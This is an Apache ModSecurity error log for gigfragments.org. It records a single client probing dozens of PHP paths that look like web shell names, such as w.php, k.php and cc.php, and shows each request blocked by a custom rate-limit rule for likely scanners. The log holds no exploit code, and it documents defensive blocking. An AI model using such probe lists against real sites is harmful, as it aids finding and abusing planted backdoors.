[Sat Jan 03 03:27:27.158170 2026] [:error] [pid 1930:tid 1972] [client 20.39.206.242:14723] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aVgcH5P-6mqhfUDa89y5EgAAAEY"]
[Sat Jan 03 03:27:27.431996 2026] [:error] [pid 1930:tid 1968] [client 20.39.206.242:15203] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aVgcH5P-6mqhfUDa89y5FQAAAEI"]
[Sat Jan 03 03:27:27.719183 2026] [:error] [pid 1930:tid 1978] [client 20.39.206.242:14770] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aVgcH5P-6mqhfUDa89y5FgAAAEw"]
[Sat Jan 03 03:27:27.995998 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14738] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aVgcHx8Tyw7ZoIdXlcbZtQAAAJA"]
[Sat Jan 03 03:27:28.324952 2026] [:error] [pid 1931:tid 2047] [client 20.39.206.242:14344] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aVgcIB8Tyw7ZoIdXlcbZuQAAAJc"]
[Sat Jan 03 03:27:28.656499 2026] [:error] [pid 1931:tid 2032] [client 20.39.206.242:15177] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aVgcIB8Tyw7ZoIdXlcbZvAAAAIg"]
[Sat Jan 03 03:27:28.941283 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:14720] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aVgcIB8Tyw7ZoIdXlcbZvQAAAIw"]
[Sat Jan 03 03:27:29.226976 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:15215] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aVgcIR8Tyw7ZoIdXlcbZvgAAAIU"]
[Sat Jan 03 03:27:29.578695 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:14753] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aVgcIR8Tyw7ZoIdXlcbZwgAAAJY"]
[Sat Jan 03 03:27:29.886423 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:14763] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aVgcITVlR_BmlMPnhV6bjgAAANc"]
[Sat Jan 03 03:27:30.178689 2026] [:error] [pid 1931:tid 2044] [client 20.39.206.242:15077] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aVgcIh8Tyw7ZoIdXlcbZxgAAAJQ"]
[Sat Jan 03 03:27:30.458132 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:15066] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aVgcIpP-6mqhfUDa89y5GgAAAFE"]
[Sat Jan 03 03:27:30.842703 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:14733] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aVgcIjVlR_BmlMPnhV6bkwAAAMY"]
[Sat Jan 03 03:27:31.142816 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:15044] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aVgcI5P-6mqhfUDa89y5GwAAAEg"]
[Sat Jan 03 03:27:31.448645 2026] [:error] [pid 1930:tid 1989] [client 20.39.206.242:14342] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aVgcI5P-6mqhfUDa89y5IAAAAFc"]
[Sat Jan 03 03:27:31.718432 2026] [:error] [pid 1930:tid 1979] [client 20.39.206.242:14783] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVgcI5P-6mqhfUDa89y5IwAAAE0"]
[Sat Jan 03 03:27:32.039110 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:15197] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVgcJB8Tyw7ZoIdXlcbZzwAAAIA"]
[Sat Jan 03 03:27:32.316774 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:14776] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVgcJB8Tyw7ZoIdXlcbZ1QAAAJI"]
[Sat Jan 03 03:27:32.600490 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:15053] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVgcJB8Tyw7ZoIdXlcbZ1gAAAIM"]
[Sat Jan 03 03:27:32.886240 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:15204] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcJDVlR_BmlMPnhV6bnQAAAMw"]
[Sat Jan 03 03:27:33.168466 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:15079] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcJTVlR_BmlMPnhV6bnwAAANY"]
[Sat Jan 03 03:27:33.492521 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:15064] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcJTVlR_BmlMPnhV6boQAAAMk"]
[Sat Jan 03 03:27:33.794913 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15075] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcJZP-6mqhfUDa89y5OAAAAFU"]
[Sat Jan 03 03:27:34.074676 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:15096] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aVgcJjVlR_BmlMPnhV6bowAAAMg"]
[Sat Jan 03 03:27:34.364196 2026] [:error] [pid 1929:tid 1948] [client 20.39.206.242:14765] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aVgcJucFqdpu6TNsuWqxIQAAAAo"]
[Sat Jan 03 03:27:34.661452 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14768] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aVgcJjVlR_BmlMPnhV6bpgAAAM8"]
[Sat Jan 03 03:27:34.937250 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:15193] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aVgcJjVlR_BmlMPnhV6bqQAAAM0"]
[Sat Jan 03 03:27:35.233105 2026] [:error] [pid 2083:tid 2085] [client 20.39.206.242:14744] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aVgcJzVlR_BmlMPnhV6bqwAAAMA"]
[Sat Jan 03 03:27:35.563776 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:15226] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aVgcJx8Tyw7ZoIdXlcbZ3gAAAJI"]
[Sat Jan 03 03:27:35.876473 2026] [:error] [pid 1931:tid 2030] [client 20.39.206.242:15201] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aVgcJx8Tyw7ZoIdXlcbZ4AAAAIY"]
[Sat Jan 03 03:27:36.170328 2026] [:error] [pid 1931:tid 2043] [client 20.39.206.242:14773] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aVgcKB8Tyw7ZoIdXlcbZ4QAAAJM"]
[Sat Jan 03 03:27:36.470437 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:15050] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aVgcKDVlR_BmlMPnhV6brQAAAMw"]
[Sat Jan 03 03:27:36.740268 2026] [:error] [pid 1931:tid 1996] [client 20.39.206.242:14746] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aVgcKB8Tyw7ZoIdXlcbZ5AAAAII"]
[Sat Jan 03 03:27:37.024847 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14662] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aVgcKTVlR_BmlMPnhV6bsAAAAMo"]
[Sat Jan 03 03:27:37.312914 2026] [:error] [pid 2083:tid 2105] [client 20.39.206.242:15078] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aVgcKTVlR_BmlMPnhV6bsQAAANQ"]
[Sat Jan 03 03:27:37.627928 2026] [:error] [pid 1931:tid 2031] [client 20.39.206.242:14735] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aVgcKR8Tyw7ZoIdXlcbZ6AAAAIc"]
[Sat Jan 03 03:27:37.909067 2026] [:error] [pid 1931:tid 1994] [client 20.39.206.242:15046] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aVgcKR8Tyw7ZoIdXlcbZ6wAAAIE"]
[Sat Jan 03 03:27:38.229179 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14664] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aVgcKjVlR_BmlMPnhV6btAAAAMg"]
[Sat Jan 03 03:27:38.618892 2026] [:error] [pid 1931:tid 2038] [client 20.39.206.242:14729] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aVgcKh8Tyw7ZoIdXlcbZ7gAAAI4"]
[Sat Jan 03 03:27:38.895412 2026] [:error] [pid 1931:tid 1996] [client 20.39.206.242:14722] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aVgcKh8Tyw7ZoIdXlcbZ8AAAAII"]
[Sat Jan 03 03:27:39.164009 2026] [:error] [pid 1931:tid 2048] [client 20.39.206.242:15189] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aVgcKx8Tyw7ZoIdXlcbZ8gAAAJg"]
[Sat Jan 03 03:27:39.459152 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:14771] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aVgcKx8Tyw7ZoIdXlcbZ8wAAAIM"]
[Sat Jan 03 03:27:39.764371 2026] [:error] [pid 1929:tid 1960] [client 20.39.206.242:15058] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aVgcK-cFqdpu6TNsuWqxJAAAABY"]
[Sat Jan 03 03:27:40.071866 2026] [:error] [pid 1931:tid 2033] [client 20.39.206.242:14754] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVgcLB8Tyw7ZoIdXlcbZ9gAAAIk"]
[Sat Jan 03 03:27:40.374661 2026] [:error] [pid 1929:tid 1959] [client 20.39.206.242:14752] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVgcLOcFqdpu6TNsuWqxJQAAABU"]
[Sat Jan 03 03:27:40.660088 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:15184] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVgcLOcFqdpu6TNsuWqxJwAAABg"]
[Sat Jan 03 03:27:40.961686 2026] [:error] [pid 2083:tid 2103] [client 20.39.206.242:14366] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVgcLDVlR_BmlMPnhV6bvAAAANI"]
[Sat Jan 03 03:27:41.246959 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:15069] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aVgcLTVlR_BmlMPnhV6bvQAAAMY"]
[Sat Jan 03 03:27:41.551591 2026] [:error] [pid 1931:tid 2037] [client 20.39.206.242:14727] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aVgcLR8Tyw7ZoIdXlcbZ-QAAAI0"]
[Sat Jan 03 03:27:41.862381 2026] [:error] [pid 1930:tid 1968] [client 20.39.206.242:14364] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aVgcLZP-6mqhfUDa89y5ewAAAEI"]
[Sat Jan 03 03:27:42.140074 2026] [:error] [pid 2083:tid 2088] [client 20.39.206.242:15083] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aVgcLjVlR_BmlMPnhV6bwAAAAMM"]
[Sat Jan 03 03:27:42.422542 2026] [:error] [pid 1929:tid 1943] [client 20.39.206.242:14726] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcLucFqdpu6TNsuWqxKAAAAAU"]
[Sat Jan 03 03:27:42.702490 2026] [:error] [pid 2083:tid 2105] [client 20.39.206.242:15213] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcLjVlR_BmlMPnhV6bwwAAANQ"]
[Sat Jan 03 03:27:42.985763 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:15188] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcLjVlR_BmlMPnhV6bxAAAANc"]
[Sat Jan 03 03:27:43.281262 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:14757] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcL-cFqdpu6TNsuWqxKQAAAAs"]
[Sat Jan 03 03:27:43.567935 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:15045] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVgcL-cFqdpu6TNsuWqxKwAAABM"]
